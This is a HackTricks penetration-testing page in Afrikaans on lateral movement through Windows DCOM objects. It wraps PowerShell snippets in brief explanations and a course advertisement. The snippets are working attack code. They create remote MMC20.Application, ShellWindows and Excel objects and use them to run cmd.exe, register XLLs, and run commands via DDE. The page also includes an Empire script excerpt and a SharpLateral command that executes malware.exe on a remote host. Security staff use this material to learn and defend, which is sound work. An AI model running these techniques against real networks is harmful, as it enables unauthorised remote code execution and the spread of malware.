hacktricks/windows-hardening/lateral-movement/dcom-exec.md

9.5 KiB

DCOM Uitvoer

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Probeer Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


MMC20.Application

Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos vanaf https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Verspreide Komponentobjekmodel (DCOM) objekte bied 'n interessante vermoë vir netwerkgebaseerde interaksies met objekte. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponentobjekmodel (COM), toeganklik hier vir DCOM en hier vir COM. 'n Lys van DCOM-toepassings kan opgehaal word met die PowerShell-opdrag:

Get-CimInstance Win32_DCOMApplication

Die COM-object, MMC Application Class (MMC20.Application), maak skryf van MMC snap-in operasies moontlik. Merkwaardig genoeg bevat hierdie objek 'n ExecuteShellCommand metode onder Document.ActiveView. Meer inligting oor hierdie metode kan hier gevind word. Toets dit deur:

Hierdie kenmerk fasiliteer die uitvoering van bevele oor 'n netwerk deur 'n DCOM-toepassing. Om vanaf 'n afstand met DCOM te kan interageer as 'n admin, kan PowerShell as volg gebruik word:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Hierdie bevel verbind met die DCOM-toepassing en gee 'n instansie van die COM-object terug. Die ExecuteShellCommand-metode kan dan aangeroep word om 'n proses op die afgeleë gasheer uit te voer. Die proses behels die volgende stappe:

Kontroleer metodes:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Kry RCE:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Die MMC20.Application-voorwerp is geïdentifiseer as 'n gebrek aan uitdruklike "LaunchPermissions," wat standaard na toestemmings wat Administrateurs toegang verleen, oorskakel. Vir verdere besonderhede kan 'n draad ondersoek word hier, en die gebruik van @tiraniddo se OleView .NET vir die filter van voorwerpe sonder uitdruklike Launch Permission word aanbeveel.

Twee spesifieke voorwerpe, ShellBrowserWindow en ShellWindows, is uitgelig weens hul gebrek aan uitdruklike Launch Permissions. Die afwesigheid van 'n LaunchPermission-registerinskrywing onder HKCR:\AppID\{guid} dui op geen uitdruklike toestemmings nie.

ShellWindows

Vir ShellWindows, wat 'n ProgID ontbreek, fasiliteer die .NET-metodes Type.GetTypeFromCLSID en Activator.CreateInstance voorwerpinstansiasie deur sy AppID te gebruik. Hierdie proses maak gebruik van OleView .NET om die CLSID vir ShellWindows te herwin. Eenmaal geïnstantieer, is interaksie moontlik deur die WindowsShell.Item-metode, wat tot metode-aanroeping soos Document.Application.ShellExecute lei.

Voorbeeld PowerShell-opdragte is voorsien om die voorwerp te instansieer en op afstand opdragte uit te voer:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Laterale Beweging met Excel DCOM-voorwerpe

Laterale beweging kan bereik word deur DCOM Excel-voorwerpe te benut. Vir gedetailleerde inligting, is dit aan te beveel om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM te lees by Cybereason se blog.

Die Empire-projek bied 'n PowerShell-skripsie wat die gebruik van Excel vir afgeleë kode-uitvoering (RCE) demonstreer deur DCOM-voorwerpe te manipuleer. Hieronder is uittreksels uit die skripsie beskikbaar op Empire se GitHub-opberging, wat verskillende metodes toon om Excel vir RCE te misbruik:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Outomatiese Gereedskap vir Laterale Beweging

Twee gereedskappe word uitgelig vir die outomatiese uitvoering van hierdie tegnieke:

  • Invoke-DCOM.ps1: 'n PowerShell-skrip wat deur die Empire-projek voorsien word en wat die aanroeping van verskillende metodes vir die uitvoering van kode op afgeleë masjiene vereenvoudig. Hierdie skrip is toeganklik by die Empire GitHub-opberging.

  • SharpLateral: 'n gereedskap wat ontwerp is vir die afgeleë uitvoering van kode, wat gebruik kan word met die bevel:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Outomatiese Gereedskap

  • Die Powershell-skrip Invoke-DCOM.ps1 maak dit maklik om alle uitgekommentariseerde maniere om kode op ander rekenaars uit te voer, te aktiveer.
  • Jy kan ook SharpLateral gebruik:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Verwysings

Probeer Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: